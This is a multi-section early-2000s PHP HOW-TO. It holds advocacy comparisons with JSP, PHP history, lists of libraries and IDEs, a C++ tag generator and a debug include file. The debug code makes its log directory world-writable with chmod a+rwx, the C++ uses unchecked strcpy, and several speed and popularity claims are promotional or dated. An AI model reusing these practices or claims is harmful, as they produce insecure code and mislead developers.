"PHP was built with the needs of Web developers in mind... Unlike other cumbersome, overhead-laden approaches, PHP is lightweight and focused on the Web - where it can solve complex problem scenarios quicker and more easily than comparable technologies."1

Java began its life as a programming language and was initially aimed at running client-side applications inside of Web browsers. Over the last few years, the problems associated with these "applets," as they were known, has led Sun and many other Java developers to use the language in other ways. One of the most prominent ways is in server-side programming, allowing Web sites to connect to databases and produce other server-side applications, or "servlets." Sun came out with Java Server Pages (JSP) as a means of writing servlets. JSP, like PHP, is highly portable across different platforms (even though PHP supports any 32-bit or better platform, whereas JSP supports only platforms that have a Java virtual machine available). However, a beginner with no programming background will find it exceptionally difficult to begin working with servlets,because of the complexity of the language as well as the complicated JSP system design.

JSP's performance also leaves much to be desired: a recent survey in ZDnet's eWeek online publication found that PHP is as much as 3.7 times faster than JSP. In the Web environment, this makes JSP a significantly worse solution - because it can perform less transactions per second, and features considerably slower response times.

ZDnet's eWeek also noted that

"JSP is a relatively new technology and still has clear market immaturities in terms of tools, support resources and available talent."...Because JSP is based on Java, a strongly typed language, we had to declare the types of variables we used and manually convert between types when necessary. This makes JSP the hardest of the scripting languages we tested for nonprogrammers to learn..."

PHP works with Java

It is important to note JSP is just one language with which Java objects can be accessed. PHP also can also integrate with Java, which means that it can be used as the scripting language for activating Java logic, just as much as JSP can. Unlike JSP, however, PHP also integrates with other component models, such as Microsoft's COM, and adding support for new object models is extremely easy. This means PHP's extensibility is infinite. JSP, on the other hand, is completely dependent on Java.

IBM programmer Sam Ruby uses PHP in combination with Java. Using the native Java support in PHP, Java objects can be created and used transparently, as if they were regular PHP objects.

AuctionWatch , which enables businesses of all sizes to benefit from dynamic pricing environments, has over 2.6 million unique visitors per month; 300K+ registered users; 1.2 million+ auctions launched every month. They tried to use Java, but opted for PHP because it's easier to use and much faster to develop with. For further information, please contact Ben Margolin, Director of Seller Services for AuctionWatch (ben@auctionwatch.com).

Programming consultant Reuven Lerner has made some comparisons among the languages. His view of PHP is summarized as follows:

"The language is easy to learn. Graphic artists and Web designers might claim that they are not programmers, but the fact is that they're doing increasingly large projects in JavaScript, VBScript, and other simple programming languages. PHP is much more regular and well-defined than Perl, and is much easier for new programmers to grasp than Java. Indeed, PHP seems like a server-side version of what JavaScript could have been, but isn't. Someone with little or no programming experience can learn PHP and work with it after a very short period of time. This is probably true for VBScript, but certainly not for Perl or Java....PHP is a truly remarkable and powerful system. I can see why it has become a popular system for producing Web sites.... I think that it will be a very strong competitor against Java and JSPs, and will rise significantly in my recommendations for clients and internal use."

PHP: Growing by the month

JSP enjoys the backing of Sun; hence its constant media attention. It is interesting to note that despite the lack of any publicity campaign, PHP's popularity is growing at a monthly rate of 8-11%, a percentage far greater than the Internet's 4% monthly growth -- as the demand for server-based applications has risen. More than 6.5 million sites use PHP (Netcraft May 2001 survey). PHP is used on 39% of Apache servers; Perl trails fourth, with 11% of the market. Apache maintains 59% of the Web server market; Microsoft IIS is second, with 28% of market share (E-Soft Inc./SecuritySpace's May 2001 report).

Prominent corporations using PHP include Unilever, Philips, NTT, Cisco, Japan Airlines, Air Canada, Lufthansa, GE Marketplace, Wallstreet:Online Germany; AuctionWatch, VillageVoice, Dialpad and BMC.

  1. Intranet Design Magazine: PHP From an IT Manager's Perspective, Jun 4, 2000. http://linuxtoday.com/news_story.php3?ltsn=2000-06-04-002-04-NW-HL-SW

  2. eWEEK: Four scripting languages speed development, October 30, 2000. http://www.zdnet.com/eweek/stories/general/0,11011,2646052,00.html


PHP HOW-TO: Brief History of PHP

 Next Previous Contents

6. Brief History of PHP

PHP began life as a simple little cgi wrapper written in Perl. The name of this first package was Personal Home Page Tools, which later became Personal Home Page Construction Kit.

Old name is Professional Home Pages (PHP) and new name is PHP Hypertext Pre-Processor.

A tool was written to easily embed SQL queries into web pages. It was basically another CGI wrapper that parsed SQL queries and made it easy to create forms and tables based on these queries. This tool was named FI (Form Interpreter).

PHP/FI version 2.0 is a complete rewrite of these two packages combined into a single program. It evolved to a simple programming language embedded inside HTML files. PHP eliminates the need for numerous small Perl cgi programs by allowing you to place simple scripts directly in your HTML files. This speeds up the overall performance of your web pages since the overhead of forking Perl several times has been eliminated. It also makes it easier to manage large web sites by placing all components of a web page in a single html file. By including support for various databases, it also makes it trivial to develop database enabled web pages. Many people find the embedded nature much easier to deal with than trying to create separate HTML and CGI files.

Now PHP/FI is renamed as PHP.


PHP HOW-TO: A Simple Example

 Next Previous Contents

7. A Simple Example

Suppose you have a form:

<FORM ACTION="/cgi-bin/php.cgi/~userid/display.html" METHOD=POST>
<INPUT TYPE="text" name="name">
<INPUT TYPE="text" name="age">
<INPUT TYPE="submit">
<FORM>
Your display.html file could then contain something like:
< ?echo "Hi $ name, you are $ age years old!<p>" >
It's that simple! PHP automatically creates a variable for each form input field in your form. You can then use these variables in the ACTION URL file.

The next step once you have figured out how to use variables is to start playing with some logical flow tags in your pages. For example, if you wanted to display different messages based on something the user inputs, you would use if/else logic. In our above example, we can display different things based on the age the user entered by changing our display.html to:

<?
    if($age>50);
        echo "Hi $name, you are ancient!<p>";
    elseif($age>30);
        echo "Hi $name, you are very old!<p>";
    else;
        echo "Hi $name.";
    endif;
>
PHP provides a very powerful scripting language which will do much more than what the above simple example demonstrates. See the section on the PHP Script Language for more information.

You can also use PHP to configure who is allowed to access your pages. This is done using a built-in configuration screen. With this you could for example specify that only people from certain domains would be allowed to see your pages, or you could create a rule which would password protect certain pages. See the Access Control section for more details.

PHP is also capable of receiving file uploads from any RFC-1867 compliant web browser. This feature lets people upload both text and binary files. With PHP's access control and logical functions, you have full control over who is allowed to upload and what is to be done with the file once it has been uploaded. See the File Upload section for more details.

PHP has support for the PostgreSQL database package. It supports embedded SQL queries in your .HTML files.

PHP also has support for the mysql database package. It supports embedded SQL queries in your .HTML files.


PHP HOW-TO: SOAPX4 and PhpXMLP

 Next Previous Contents

8. SOAPX4 and PhpXMLP

SOAP is an XML-based protocol for messaging and RPC-style communication between two processes. The World Wide Web Consortium's XML Protocol (XP) Working Group is working on a SOAP standard, which will be called XP.

The SOAPX4 (Simple Object Access Protocol) implementation for PHP is at http://dietrich.ganx4.com/soapx4.

Alternate SOAP implementation is at http://sourceforge.net/projects/phpxmlp.

8.1 XML/XSLT Publishing Engine

Krysalis is the XML/XSLT publishing engine, inspired from Cocoon but adapted to the PHP technology.

InterAKT has developed Krysalis to achieve what the next generation of web services have to offer - the complete separation of the information, application logic and presentation layer.

Krysalis is an open-source PHP development platform, based on the XML/XSLT core. It reused most of PHAkt code to create the Krysalis taglib library.

Major features are:

  • Dynamic XML support.
  • Dynamic PDF generation.
  • Sitemap description with regular expressions.
  • PXP page caching.
  • Multiple transformation pipelines.
  • Multiple connection types to various databases (ADODB).

Please visit the Krysalis site for more information http://www.interakt.ro/products/Krysalis.


PHP HOW-TO: PHP Libraries

 Next Previous Contents

9. PHP Libraries

The PHP is a object-oriented scripting language. Hence PHP code is "classes, classes, classes and classes". When you write PHP code you must design your classes such that they are re-usable or they use existing PHP classes. There are hundreds of PHP classes already written and ready to use. There are classes for accessing databases, classes for generating XML, HTML forms, classes for creating tables, forms and other HTML objects. If you write some generic classes then please upload to sites. By year 2005, there will be more than hundred million re-usable PHP classes. Advantage of PHP classes are they provide - data hiding, inheritance, encapsulation, reliability, reusability and polymorphism. The most important PHP sites are PHP classes and PEAR as given below.

9.1 Classes and PEAR

Visit the following web sites which have large collections of ready to use PHP class libraries.

  • PHP classes are at http://phpclasses.upperdesign.com and at http://www.phpclasses.com.

  • PEAR (PHP Extension and Application Repository) is a code repository for PHP extensions and PHP library code similar to Perl's CPAN and is at http://pear.php.net and mirror linux php-pear-rpms and pear-tutorials.

  • ADODB (Active Data Objects Data Base) http://php.weblogs.com/ADODB : PHP's database access functions are not standardised. Every database extension uses a different and incompatibile API. This creates a need for a database class library to hide the differences between the different databases (encapsulate the differences) so we can easily switch databases. ADODB currently support MySQL, PostgreSQL , Interbase, Oracle, MS SQL 7, Foxpro, Access, ADO, Sybase and generic ODBC. See also ADODB-manual. The PhpLens is based on ADODB.
  • Metabase (Database independent access and management) http://phpclasses.upperdesign.com/browse.html/package/20

  • PHP Hot scripts http://www.hotscripts.com/PHP

  • Very popular PHP resources http://php.resourceindex.com and CGI-Resources

  • PHP projects are at http://php.net/projects.php

  • PHP Lib Netuse http://phplib.netuse.de (This is deprecated, merged with PEAR)
  • PHP widgets http://www.northern.ca/projects/phpwidgets
  • Generic Framework PHP4 http://sourceforge.net/projects/gpfr
  • Source Forge PHP Lib http://phplib.sourceforge.net
  • Source Forge PHP Snippets, go and click on PHP here http://sourceforge.net/snippet
  • E-gineer PHP lib http://e-gineer.com/articles/php-hacker
  • FAQ PHP http://php.faqts.com
  • PHP Lib http://px.sklar.com
  • PHP Factory http://alfalinux.sourceforge.net/phpfact.php3

  • PHP Builder site http://phpbuilder.com/snippet
  • PHP developer http://www.phpdeveloper.org
  • PHP newbie http://www.newbienetwork.net
  • PHP walrus http://www.evilwalrus.com

9.2 Other PHP Utilities

Other PHP utilities are at :

  • User Login sample: http://www.devshed.com/Server_Side/PHP/Commerce1

  • phpPDFtable is a class written in php to ease the creation of tables in PDF files. It requires php (4.0 but should run with 3.x too), and pdflib http://sourceforge.net/projects/phppdftable

  • Data-Admin aims to provide a PHP based interface to Database Administration. This will not be limited to just one or two databases. Also, the underlying class library encapsulates the native PHP database calls allowing the programmer to use one set of fu http://sourceforge.net/projects/dadmin

  • PSlib is a PHP library for generating PostScript files. It offers an easy way of generating PostScript files: simple call PSlib functions from within your PHP script and the PS files are created on the fly http://sourceforge.net/projects/pslib

  • A complete collection of php scripts that work tightly together to create a highly customizable, dynamic and module oriented website http://sourceforge.net/projects/twebs

  • phpOpenTracker is a comprehensive solution for your site- and visitor-tracking needs. The collected data is stored in a SQL database, allowing complex, yet easy analysis. A powerful API for analysis and report generation (HTML or PDF output) is included. http://www.phpopentracker.de

  • PHPShopCart is a shopping-cart web application demo written in PHP and designed to connect to a MySQL database. It was written for the book, "A Guide to Databases under Linux" (Syngress Media) but is available under the GNU Public License. http://sourceforge.net/projects/phpshopcart


PHP HOW-TO: PHPGem package

 Next Previous Contents

10. PHPGem package

PHPGem is a PHP-script which accelerates the creation of PHP-scripts for working with tables. It works with different SQL-servers such as PostgreSQL, MySQL, mSQL, ODBC, and Adabas. You input a description of and parameters for your tables' fields (field name, on/off searching in the field, etc.), and PHPGem outputs another PHP-script which will work with the tables (view/add/edit/delete/duplicate entries and search). PHPGem works with multi-level nested tables. PHPGem allows you to specify a level of access for each table and for each field for each user. PHPGem also support images.

PHPGem is at http://sptl.org/phpgem


PHP HOW-TO: PHP Application Servers

 Next Previous Contents

11. PHP Application Servers

The PHP applications are categorized into more than 60 groups in hotscripts.com site at HotScripts - PHP. You MUST visit this site before looking elsewhere.

11.1 Build PHP based corporate Intranet and Internet

Visit the site corporate Intranet/Internet for a very good comparison and listing of applications.

11.2 Popular PHP Applications

The most popular PHP applications in the order are:

  1. PHP-Nuke and the mainsite
  2. Smarty and the mainsite
  3. eZ Publish and the mainsite
  4. Mambo Portal/Content Mgmt and the mainsite
  5. PHP Content Management System and the mainsite
  6. PHP Shop and the mainsite
  7. phpWebSite and the mainsite
  8. myPHPCalendar and the mainsite
  9. TreeMenu and the mainsite
  10. Backend and the mainsite
  11. Typo3 Content Mgmt and the mainsite
  12. E-Guest
  13. PHProjekt and the mainsite
  14. Phorum and the mainsite

PHP has several tools which are given below:

11.3 PHP Web Application Servers

The following are available for PHP:

  • PHP Lens http://phplens.com is a rapid application development component which allows PHP developers to dynamically and quickly create web applications that retrieve information from databases. With phpLens, data can be presented as html tables with facilities to create, edit, paginate, search and delete records. PHPLens uses ADODB. See also ADODB.

  • ADODB (Active Data Objects Data Base) http://php.weblogs.com/ADODB : PHP's database access functions are not standardised. Every database extension uses a different and incompatibile API. This creates a need for a database class library to hide the differences between the different databases (encapsulate the differences) so we can easily switch databases. ADODB currently support MySQL, PostgreSQL , Interbase, Oracle, MS SQL 7, Foxpro, Access, ADO, Sybase and generic ODBC. See also ADODB-manual.
  • Metabase (Database independent access and management) http://phpclasses.upperdesign.com/browse.html/package/20

  • Binary Cloud http://www.binarycloud.com is an opensource, enterprise class web application platform It provides a complete set of core services such as authentication, permissions, database abstraction, and error handling - and a rich set of advanced tools built on that foundation. The system is deployed in a number of commercial installations and has proven to be robust, scaleable, and secure. Binarycloud is suitable for large-scale commerce and publishing projects, or anything of similar complexity. It offers some unique security features - such as selective encryption of database I/O - which make it a particularly good choice for web applications that require a high level of data security. And it's free.

  • PEAR (PHP Extension and Application Repository) is a code repository for PHP extensions and PHP library code similar to Perl's CPAN and is at http://lxr.php.net/source/php4/pear and pear-tutorials.

  • Midgard is Content management system is based on Apache and uses the PHP scripting language The main site of Midgard is at http://www.midgard-project.org PHP can be compiled with Zend compiler and optimizer http://www.zend.com. PHP runs very fast and is about 5 to 10 times faster than Java. See Midgard Installation

  • Ariadne http://www.muze.nl/software/ariadne is a web application system. It consists of a complete framework for the easy development and management of web applications, using PHP. The system uses a modular approach, using abstract interfaces for all transactions. This results in maximum freedom to change parts of the systems workings or add new functionality without needing to reprogram other parts

  • Group IT Engine http://groupit.org is a turnkey group collaboration and content management engine. It presently runs on UNIX machines using PHP and Apache. Using GroupIT you can "Categorize your content", "Organize your contents into sections", "Control access to your content" and many more additional features.

11.4 PHP Template Engines

  • Php Sitemanager - do code creation, a layout design, site implementation and site management. Visit SiteManager

  • Smarty Template Engine - is a template engine for PHP. One of the unique aspects about Smarty that sets it apart from other templating solutions is that it compiles the templates into native PHP scripts upon the first invocation. After that, it merely executes the compiled PHP scripts. Therefore, there is no costly template file parsing for each request. See Smarty QuickStart and docs about Smarty are at http://www.phpinsider.com/php/code/Smarty/docs. Get it from download-smarty.

  • DreamTime Template http://www.phptemplates.org

  • Fast Template http://curtisonline.net/theme/phpfast-templates-HOWTO.html and main-site

  • PHP template Layout classes commercial, VH Layout http://www.vhconsultants.com and see this-article

11.5 PHP based Web-Portal systems

The following ready-made Web-Portal systems are available:

  • PHP Nuke Web Portal system at PhpNuke

  • DarkPortal is a Web portal system similar to PHPNuke. It is based on the user interface style of Slashdot and other news/portal systems. It uses a modular core as a base for adding pluggable modules to facilitate content creation and management. Its primary goals are full separation of content from code, fully modular portal plugins with standardized APIs, portability and database abstraction, user level theme selection and plugin module selection, and a modular user/group hierarchy with multiple levels of moderation and admin capabilities. Visit DarkPortal

  • CMS system ezPublish

  • Mambo is a feature-rich, dynamic portal engine/content management tool based on PHP/MySQL. It features a very powerful and extensive admin manager, and uses a modular framework for extensibility. Visit Mambo and mirror


PHP HOW-TO: Object Oriented Features - public, private, protected

 Next Previous Contents

12. Object Oriented Features - public, private, protected

PHP scripting language provides object oriented features through the class keyword. Features like public, private and protected will be supported in the future release (they are in TODO list). In the meantime, you can use the following coding conventions to distinguish between private, public and protected variables:

  1. All private variables and functions always start with underscore "_" followed by lowercase letters like var $_myvar;

  2. All Protected variables and functions always start with "_T" followed by lowercase letters like var $_Tmyvar;

  3. All Public variables and functions do not start with underscore "_" like var $myvar;

  4. All variables and functions always start with lowercase letter (no uppercase) like var $_myvar; and NOT like var $_Myvar;

class someabc {
        var $_conn;                     // Private variable
        var $_Tmyvar;                   // Protected variable
        var $connMYCONNECTION;          // Public variable
        var $connToDb;                  // Public variable
        var $myvar3;                    // Public variable
        var $myvarTHISTEST;             // Public variable

        function _foofunction() {}      // Private function
        function _Tfoofunction() {}     // Protected function
        function foofunction() {}       // Public function
}

The private, protected declarations provide the encapsulation and data-hiding. But you must consider the following disadvantages of encapsulation:

  • Encapsulation usually requires more code, hence it sacrifices performance especially for scripting languages like PHP

  • Encapsulation requires lots of Set/Get methods for private/protected properties.

  • Since encapsulation unneccessarily increases the code size, it is not recommended for scripting language like PHP.

  • You can enforce a good degree of encapsulation by using the coding convention suggested in this section.


PHP HOW-TO: HTML Editor

 Next Previous Contents

13. HTML Editor

HTML editors for PHP on Windows 95/NT/2000 are:

  • 1st Page 2000 - Rated 1st (the best HTML editor) http://www.evrsoft.com
  • Cool Page - Rated 2nd http://www.coolpage.com
  • Coffeecup - Rated 3rd http://www.coffeecup.com/editor
  • Arachnophilia - Rated 4th http://www.arachnoid.com/arachnophilia/index.html
  • Textpad http://www.textpad.com and textpad-php-add-ons
The best HTML editor is 1st Page 2000, and it is a excellent HTML editor.


PHP HOW-TO: IDE tools for PHP

 Next Previous Contents

14. IDE tools for PHP

Many HTML editors are supporting PHP. In near future every HTML editors and XML editor will be supporting PHP "Rapid Application Development" tool.

You will notice that some of the PHP editors run only on MS Windows. Yes!! there are millions of PHP developers on MS Windows platform. PHP is IMMENSELY POPULAR on Microsoft Windows platform and is surprisingly more popular than Microsoft's own ASP web scripting language!! PHP runs lot faster than ASP on MS Windows and has more features and functionalities than Microsoft ASP. PHP is much more robust, reliable and powerful than ASP. There are more PHP users under MS Windows98/NT/2000 than on any other operating system!! PHP initially started on Linux/UNIX environment but today there are more PHP developers on MS Windows platform as compared to UNIX.

14.1 PHP IDE

PHP IDE tools are at :

  • PHAktThe PHP support in Macromedia Dreamweaver UltraDev that allows Ultradev Developers to create PHP sites PHAkt
  • PHP Lens http://phplens.com is a rapid application development component which allows PHP developers to dynamically and quickly create web applications that retrieve information from databases. With phpLens, data can be presented as html tables with facilities to create, edit, paginate, search and delete records. PHPLens uses ADODB. See also ADODB.
  • PHP IDE and Editor "PHP Coder" is now renamed to Maguma and is available at http://www.maguma.com/english/index.php
  • HAPEdit at http://hapedit.free.fr
  • Cross-platform IDE : Activestate Komodo http://www.activestate.com/Products/Komodo
  • Zend PHP IDE http://zend.com/store/products/zend-ide.php
  • IDE for PHP scripting (Web Browser) : http://www.ekenberg.se/php/ide
  • Nexidion PHP IDE http://www.nexidion.org
  • Enter in Search keyword 'PHP IDE' in Source Forge http://sourceforge.net
  • Color editor gvim for PHP (Win and linux) at http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html and see also ptags of PHP

14.2 PHP IDE for MS Windows only

PHP IDE/editor on MS Windows platform are :

  • Rated 1st (the best PHP tool on MS Windows) : PHPTriad is a complete PHP development and server environment for Windows. It installs PHP, Apache, MySQL, and PHPMyAdmin, both installing and setting up the environment. PHPTriad is at http://www.phpgeek.com/phptriad.php and at mirrorsite
  • Rated 2nd : PHP Coder http://www.php-ide.com
  • Rated 3rd: PHPEd (Soyal), an excellent PHP editor (MS Windows) http://soysal.free.fr/PHPEd

  • IDE for PHP editor (MS Windows): http://www.phpedit.com
  • Color editor gvim for PHP (Win and linux) at http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html and see also ptags of PHP
  • IDE for PHP (MS Windows) http://www.pc-service-boerner.de/PHPScriptEditor.htm
  • "EditPlus Text editor" win32 http://www.editplus.com (high rating 5 stars)
  • eNotepad win32 http://www.edisys.com/Products/eNotepad/enotepad.asp (high rating 5 stars)
  • PHP editor win32 http://www.chami.com/html-kit (high rating 5 stars)
  • UltraEdit win32 http://www.ultraedit.com with PHP word file at http://www.ultraedit.com/downloads/additional.html
  • ScriptWorx editor win32 http://www.softlite.net/products/scriptworx (rating 4.5 stars)
  • TextPad editor win32 http://www.textpad.com (rating 4.5 stars)
  • PHP editor "ASPEdit" http://www.tashcom.com/aspedit (rating 3.5 stars) along with PHP code explorer http://www.tashcom.com/codex (rating 4.5 stars)
  • Code-genie editor similar to UltaEdit or TextPad but smaller in size http://www.code-genie.com
  • HTML/PHP editor Dreamweaver http://www.dreamweaver.com
  • HTML/PHP editor Homesite http://www.allaire.com/homesite
  • HTML/PHP editor Hotdog http://www.hotdog.com

14.3 PHP IDE for both MS Windows and Linux

PHP IDE/editor for bot MS Windows and Linux platforms are :

  • PHP editor (for both windows and linux/UNIX) http://www.coffeecup.com/select/editor.html (rating 5 stars).
  • HTML/PHP editors Amaya http://www.w3.org/Amaya
  • Folding text editor (Win and linux) http://fte.sourceforge.net
  • PHP Editor (Win and linux) http://www.scintilla.org
  • Color editor gvim for PHP (Win and linux) at http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html and see also ptags of PHP
  • Jed (win and linux) http://space.mit.edu/~davis/jed.html

  • Editors for PHP : http://www.itworks.demon.co.uk/phpeditors.htm
  • Editors for PHP : http://www.oodie.com/tools/index.php?view=editor

14.4 PHP IDE for Linux only

The best IDE for PHP on linux is Coffeecup Editor as given below:

  • Color editor gvim for PHP (Win and linux) at http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html and see also ptags of PHP
  • PHP editor http://www.coffeecup.com/select/editor.html (rating 5 stars).
  • HTML/PHP editors Quanta http://quanta.sourceforge.net
  • HTML/PHP editors Blue Fish http://bluefish.linuxave.net
  • HTML editors AswEdit http://www.advasoft.com

14.5 PHP Utilities

Zend is a server-side caching software speeds up Web site performance, maximizes hardware resources, and improves the online experience of customers, providing a good return on investment. Zend accelerator caches PHP scripts, helping to reduce processing time and Web server load while enabling administrators to monitor site performance in real time. Cost is $980 and supports Linux, Solaris and FreeBSD. Zends provides:

  • Enables IT to serve more Web site visitors with existing hardware
  • Speeds up Web site response time
  • Provides real-time performance monitoring

  • Zend Optimizers http://www.zend.com
  • Zend Compilers http://www.zend.com

  • APC "Alternative PHP Cache" is an open-source alternative to Zend's commercial accelerator which is at http://apc.communityconnect.com.

  • Lots of info on PHP on MS Windows platform http://php.weblogs.com

  • PHP GroupWare Apps http://www.phpgroupware.org
  • PHP Web Shop http://www.phpshop.org
  • PHP Nuke Web Portal system PhpNuke

14.6 Convert Microsoft ASP scripts to PHP - ASP2PHP

To convert ASP scripts to PHP use this utility http://asp2php.naken.cc


PHP HOW-TO: ctags for PHP

 Next Previous Contents

15. ctags for PHP

Tags are extremely valuable and are used for navigation of source code inside the editors like vi, emacs, CRiSP, NEdit etc... If you had programmed a lot in C, C++ or Java you might have used the ctags program to create tags. To see the online manual page, type 'man ctags' at linux/UNIX bash prompt. The latest version of ctags supports PHP language and is available from http://ctags.sourceforge.net.

NOTE: Do NOT use the ptags given below but instead use the latest ctags which supports PHP language. The program below is just a exercise and sample and was created when older versions of ctags did not support PHP. The listing below is kept for historical reasons (a musuem).

The ptags program for PHP is given below, which you can use to create the tags for PHP source code. Your productivity will improve 3 to 4 times if you use ptags.

See also Vim color text editor for PHP, C, C++ at http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html

// Save this file as ptags.cpp and compile by
//              g++ -o ptags ptags.cpp
//*****************************************************************
// Copyright policy is GNU/GPL but additional request is
// that you include author's name and email on all copies
// Author : Al Dev Email: alavoor[AT]yahoo.com
// Usage : ptags *.php3 *.inc
//                 This will generate a file called tags
//*****************************************************************
#include <iostream.h>
#include <fstream>
#include <stdio.h> // for sprintf
#include <stdlib.h> // for system
#include <string.h> // for memset
#include <ctype.h> // for isspace

#define BUFF_LEN  1024
#define LOCATION  9

char *ltrim(char *dd);
char *rtrim(char *ee);

main(int argc, char **argv)
{
        if (argc < 2)
        {
                cerr << "\nUsage: " << argv[0] << " file .... " << endl;
                exit(0);
        }

        char fname[100] = "tag_file.out";
        FILE    *fpout;
        ofstream    fout(fname);
        if (fout.fail())
        {
                cerr << "\nError opening file : " << fname << endl;
                exit(-1);
        }
        //fpout = fopen(fname, "w");

        for (int ii = 1; ii < argc; ii++)
        {
                /*
                char buff[2024];

                sprintf(buff, "\\rm -f %s; ls %s > %s 2>/dev/null", outfile, argv[1], outfile);
                cout << "\nbuff = " << buff << endl;

                system(buff);
                fclose(fp);
                */
                FILE *fpin = NULL;
                fpin = fopen(argv[ii], "r");
                if (fpin == NULL)
                {
                        cerr << "\nError opening file : " << argv[ii] << endl;
                        exit(-1);
                }
                char buff[BUFF_LEN + 100];
                memset(buff, 0, BUFF_LEN +10);
                for ( ; fgets(buff, BUFF_LEN, fpin) != NULL; )
                {
                        char aa[BUFF_LEN + 100];
                        char aapointer[BUFF_LEN + 100];
                        memset(aa, 0, BUFF_LEN +10);
                        strcpy(aa, buff);
                        strcpy(aapointer, ltrim(aa));
                        strcpy(aa, aapointer);

                        // Remove the trailing new line..
                        {
                                int tmpii = strlen(aa);
                                if (aa[tmpii-1] == '\n')
                                        aa[tmpii-1] = 0;
                        }
                        //cout << "aa is : " << aa << endl;
                        //cout << "aapointer is : " << aapointer << endl;
                        if (strncmp(aa, "function ", LOCATION) != 0)
                                continue;
                        //cout << buff << endl;

                        // Example tags file output is like -
                        // al2  al.c    /^al2()$/;"     f
                        {
                                char bb[BUFF_LEN + 100];
                                memset(bb, 0, BUFF_LEN +10);
                                strcpy(bb, & aa[LOCATION]);
                                char *cc = bb;
                                while (cc != NULL && *cc != '(')
                                        *cc++;
                                *cc = 0;
                                cc = rtrim(bb);
                                //cout << "bb is : " << bb << endl;
                                //cout << cc << "\t" << argv[ii] << "\t" << "/^" << aa << "$/;\"\tf" << endl;
                                fout << cc << "\t" << argv[ii] << "\t" << "/^" << aa << "$/;\"\tf" << endl;
                                //fprintf(fpout, "%s\t%s\t/^%s$/;\"f\n", cc, argv[ii], aa );
                        }

                        memset(buff, 0, BUFF_LEN +10);
                }
                fclose(fpin);
        }
        fout.flush();
        fout.close();
        //fclose(fpout);

        // Sort and generate the tag file
        {
                char tmpaa[1024];
                sprintf(tmpaa, "sort %s > tags; \\rm -f %s", fname, fname);
                system(tmpaa);
        }
}

char *ltrim(char *dd)
{
    if (dd == NULL)
        return NULL;

    while (isspace(*dd))
        dd++;

        return dd;
}

char *rtrim(char *ee)
{
    if (ee == NULL)
        return NULL;

        int tmpii = strlen(ee) - 1;
        for (; tmpii >= 0 ; tmpii--)
        {
                if (isspace(ee[tmpii]) )
                {
                        //cout << "\nis a space!!" << endl;
                        ee[tmpii] = 0;
                }
        }
        return ee;
}


PHP HOW-TO: PHP documenter (like Javadoc)

 Next Previous Contents

16. PHP documenter (like Javadoc)

  • The phpDocumentor is a script for creating documentation from comments in php code. It is at http://phpdocu.sourceforge.net.

  • PHPXref is a small Perl script to make working with the source code of a large PHP site somewhat easier. Cross references functions, variables and database tables defined and used across your various PHP files Generates documentation for each function defined in the PHP files by utilizing formatted comments placed next to each function The output is a tree of HTML files that can be downloaded and browsed on a local machine without having to setup a web server, etc. It is at http://phpxref.sourceforge.net.


PHP HOW-TO: Debugging PHP

 Next Previous Contents

17. Debugging PHP

You can use one of the following debuggers.

List of PHP debuggers :

  • http://download.php.net/manual/en/debugger.php.
  • http://dd.cron.ru/dbg
  • Zend-IDE has PHP debugger http://www.zend.com/store/products/zend-ide.php
  • Soysal editor has PHP debugger http://www.soysal.com/PHPEd
  • APD (Advanced PHP Debugger) http://apd.communityconnect.com
  • PHP symbolic debugger http://members.ozemail.com.au/~djf01/body.html and at http://freshmeat.net/projects/body-phpdebugger
  • Cross-platform IDE : Activestate Komodo http://www.activestate.com/Products/Komodo
  • The PHP Symbolic Debugger called Body
  • PHP Debugger called 'phpCodeSite' is available at http://phpcodesite.phpedit.com and see also Appendix C
  • Code crusader http://www.newplanetsoftware.com/jcc
  • PHP Debugger is available at http://www.phpdebug.com

17.1 Debug with FILE and LINE

To debug PHP programs create a file "debug2.inc" having the following functions :

<?php

/* define this variable, to prevent double declaration. */
if (!defined("_DEBUG2_DEFINED_"))
{
        define("_DEBUG2_DEFINED_", 1 );
}
else
        return; // if this file is already included then return

# file name : debug2.inc
# Functions for debuging the PHP source code
#*****************************************************************
# Copyright policy is GNU/GPL but additional request is
# that you include author's name and email on all copies
# Author : Al Dev Email: alavoor[AT]yahoo.com
#*****************************************************************

# Usage of this functions -
# In your source code put something like -
# debug2_(__FILE__, __LINE__, "f_somevariable", $f_somevariable);
# And this will generate output in debug.out file.

//function debug2_($fname, $lname, $debug_var, $debug_value=0) {}

// Give read, exec for all on directory /debug2_logs
// chmod a+rwx /debug2_logs
// But here you need to open the file in append mode.
$fp_debug2 = fopen("/debug2_logs/debug.out", "a");
if ($fp_debug2 == false)
{
        print "<b>File open failed - global.var.inc<b>";
        exit;
}

function debug2_($fname, $lname, $debug_var, $debug_value=0)
{
        global $fp_debug2;

        //print "<br> debug_value is : $debug_value <br>";
        if (!$debug_value)
        {
                fwrite($fp_debug2, "\n ". $fname ."  ". $lname .": $debug_var");
        }
        else
        {
                fwrite($fp_debug2, "\n ". $fname . " ". $lname .": $debug_var = $debug_value");
        }
        //print "<br> f_cookie is : $f_cookie <br>";
}

// In your first page, which is generally index.php3
// truncate the debug2_logs file in beginning of code
function init_debug_file()
{
        global $fp_debug2;

        $fp_debug2 = fopen("/debug2_logs/debug.out", "w");
        if ($fp_debug2 == false)
        {
                print "<b>File open failed - global.var.inc<b>";
                exit;
        }
        system("chmod a+rwx /debug2_logs/debug.out");
}

?>

In your PHP source code initial page which is generally index.php3, put a line like

<?php
        include ("debug2.inc");

        init_debug_file();
        // all other commands follows here ...
        // ...........
?>

To output debug values, in your PHP source code files, put debug2_() calls as illustrated below:

<?php
include ("debug2.inc");
debug2_(__FILE__, __LINE__, "f_somevariable", $f_somevariable);

function aa()
{
        $aa = 8;
        debug2_(__FILE__, __LINE__, "aa", $aa);
}
?>

When you run the PHP program the output will be traced in the file called debug.out giving the filename, linenumber, variable name and it's value.

Use the debug2_() generously in your code. The usage of debug2_() calls in your program will NOT have any impact on the final production code and also has no impact on the performance because they will be filtered out as described below. You can use copy and paste to save time of typing debug2() calls or use the 'yank to buffer' feature of Vi editor and paste.

When you are done development and testing and when you are ready to deploy on the production server, filter out the debug2_ calls from your source code. At UNIX prompt -

bash$ mkdir production
bash$ grep -v debug2_  filea.php3 > production/filea.php3
For a large group of files -
bash$ mkdir production
bash$ ls *.php3 | while read ans
do
        grep -v  debug2_ $ans > production/$ans
done
And now copy the files from production to the deployment area.


PHP HOW-TO: General purpose programming with PHP

